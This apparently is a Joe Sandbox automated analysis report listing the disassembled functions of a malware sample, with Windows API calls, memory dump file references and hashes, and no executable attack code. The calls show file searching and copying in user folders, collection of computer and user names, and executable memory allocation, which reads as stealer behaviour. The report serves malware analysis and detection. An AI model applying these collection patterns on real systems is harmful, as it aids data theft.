Part of subcall function 00D84910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D84B7D
Part of subcall function 00D84910: FindClose.KERNEL32(000000FF), ref: 00D84B92

Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D849B0
Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D908D2), ref: 00D849C5
Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D849E2
Part of subcall function 00D84910: PathMatchSpecA.SHLWAPI(?,?), ref: 00D84A1E
Part of subcall function 00D84910: lstrcat.KERNEL32(?,01B0F3E8), ref: 00D84A4A
Part of subcall function 00D84910: lstrcat.KERNEL32(?,00D90FF8), ref: 00D84A5C
Part of subcall function 00D84910: lstrcat.KERNEL32(?,?), ref: 00D84A70
Part of subcall function 00D84910: lstrcat.KERNEL32(?,00D90FFC), ref: 00D84A82
Part of subcall function 00D84910: lstrcat.KERNEL32(?,?), ref: 00D84A96
Part of subcall function 00D84910: CopyFileA.KERNEL32(?,?,00000001), ref: 00D84AAC
Part of subcall function 00D84910: DeleteFileA.KERNEL32(?), ref: 00D84B31

Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D84A07

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: e9744b82b27a9eb4ddd5a1fa8283232c76ab5b2cda0504b67c94a3c74f1fe6a8
Instruction ID: b26003dcf7083a794f89e39d9591d7a47bea831640a1abe915102b2ff2396d91
Opcode Fuzzy Hash: e9744b82b27a9eb4ddd5a1fa8283232c76ab5b2cda0504b67c94a3c74f1fe6a8
Instruction Fuzzy Hash: EE4175BA5001086BDB54F7A4EC82EEE337DE798700F408748B58956186FD755B889FF2

Function 00D76660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00D76706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00D76753

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 56731348250047018c77efee4dd17b4984ecf2f010a3a06de9eed3c1c91e681c
Instruction ID: 9f84c89cc734cc0b31312fd506fe11e16fd3d856d2e141a926253076847409d8
Opcode Fuzzy Hash: 56731348250047018c77efee4dd17b4984ecf2f010a3a06de9eed3c1c91e681c
Instruction Fuzzy Hash: E741B574A00209EFCB44CF58C494BADBBB1FB48354F24C2A9E9599B345E731EA81CF94

Function 00D85050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D88E0B

lstrcat.KERNEL32(?,00000000), ref: 00D8508A
lstrcat.KERNEL32(?,01B0EF30), ref: 00D850A8

Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D8492C
Part of subcall function 00D84910: FindFirstFileA.KERNEL32(?,?), ref: 00D84943

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 376b4bb3f4c7d14e7a698bebcbc704d83ef5c654d97cdafa117b9ccb04aac725
Instruction ID: 4a56d32d6486b96be61eaea7d5a2fd4c713f99ef877749564719680548045eba
Opcode Fuzzy Hash: 376b4bb3f4c7d14e7a698bebcbc704d83ef5c654d97cdafa117b9ccb04aac725
Instruction Fuzzy Hash: 0E0184769002086BCB54FB64DC82EEA737CEB54300F404688B64956191FE749A889FB2

Function 00D710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00D710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00D710F7

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 486e5505de68e0bbebf02dba64a6adfc9c33293452cb555799f831e2a0017383
Instruction ID: ffc27310e196d80d5783a9fd71cbaa1c15c6685d1e4fed7e7896b0afc05d5489
Opcode Fuzzy Hash: 486e5505de68e0bbebf02dba64a6adfc9c33293452cb555799f831e2a0017383
Instruction Fuzzy Hash: 5BF0E271641308BBEB14AAA8AC89FBAB7ECE705B15F305548F504E3280D5719E00DAA0

Function 00D88D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00D71B54,?,?,00D9564C,?,?,00D90E1F), ref: 00D88D9F

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 24f96417c715ab4d0b962a74f903e09eead6aeb5f1d2f27e4e350d0b9edc514d
Instruction ID: 520631df45ee4bb6d98b79c773c3d68c3cbee06f67d9a2c38bc3b6af91344ed2
Opcode Fuzzy Hash: 24f96417c715ab4d0b962a74f903e09eead6aeb5f1d2f27e4e350d0b9edc514d
Instruction Fuzzy Hash: 9AF09870C04208ABDB04EF94D54569CBB74EB10310F508199D85567290DB745A55EBA1

Function 00D88DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D88E0B

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 02f4ac035cac68ca545275ff0ef6db3faaf6a8c75ae65e514dd5febfc9f21f58
Instruction ID: 78636c62a4183d26e5af9977fcd30deefac31775fbded0f0c7f15fa7d0681213
Opcode Fuzzy Hash: 02f4ac035cac68ca545275ff0ef6db3faaf6a8c75ae65e514dd5febfc9f21f58
Instruction Fuzzy Hash: DFE01A31A4034C6BEB91EB94DC96FAE737CDB44B01F004295BA0C5A1C0DE70AB858FA1

Function 00D71190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87910
Part of subcall function 00D878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D87917
Part of subcall function 00D878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D8792F

Part of subcall function 00D87850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D711B7), ref: 00D87880
Part of subcall function 00D87850: RtlAllocateHeap.NTDLL(00000000), ref: 00D87887
Part of subcall function 00D87850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D8789F

ExitProcess.KERNEL32 ref: 00D711C6

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 421279753fa5730d66460d2c4005477211241146766b88d4f606dca61914a122
Instruction ID: 677b112c9200f7168571359643bff887f610ba962bf730399110e382a1345a69
Opcode Fuzzy Hash: 421279753fa5730d66460d2c4005477211241146766b88d4f606dca61914a122
Instruction Fuzzy Hash: CFE0C2B591430563CB0437F4AC8AB2A339C9B00745F580625FA08C2142FE25E800DB76

Non-executed Functions

Function 6CED5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CED5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED54BE
__Init_thread_footer.LIBCMT ref: 6CED54DB

Part of subcall function 6CEFAB3F: EnterCriticalSection.KERNEL32(6CF4E370,?,?,6CEC3527,6CF4F6CC,?,?,?,?,?,?,?,?,6CEC3284), ref: 6CEFAB49
Part of subcall function 6CEFAB3F: LeaveCriticalSection.KERNEL32(6CF4E370,?,6CEC3527,6CF4F6CC,?,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEFAB7C

Part of subcall function 6CEFCBE8: GetCurrentProcess.KERNEL32(?,6CEC31A7), ref: 6CEFCBF1
Part of subcall function 6CEFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEC31A7), ref: 6CEFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CED54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CED5516
GetCurrentThreadId.KERNEL32 ref: 6CED556A
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CED5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CED5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CED5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CED55E6
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CED5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CED5616

Part of subcall function 6CEFAB89: EnterCriticalSection.KERNEL32(6CF4E370,?,?,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284), ref: 6CEFAB94
Part of subcall function 6CEFAB89: LeaveCriticalSection.KERNEL32(6CF4E370,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEFABD1

GetCurrentThreadId.KERNEL32 ref: 6CED563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CED5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CED567C
free.MOZGLUE(?), ref: 6CED56AE

Part of subcall function 6CEE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEE5EDB
Part of subcall function 6CEE5E90: memset.VCRUNTIME140(6CF27765,000000E5,55CCCCCC), ref: 6CEE5F27
Part of subcall function 6CEE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEE5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CED56E8
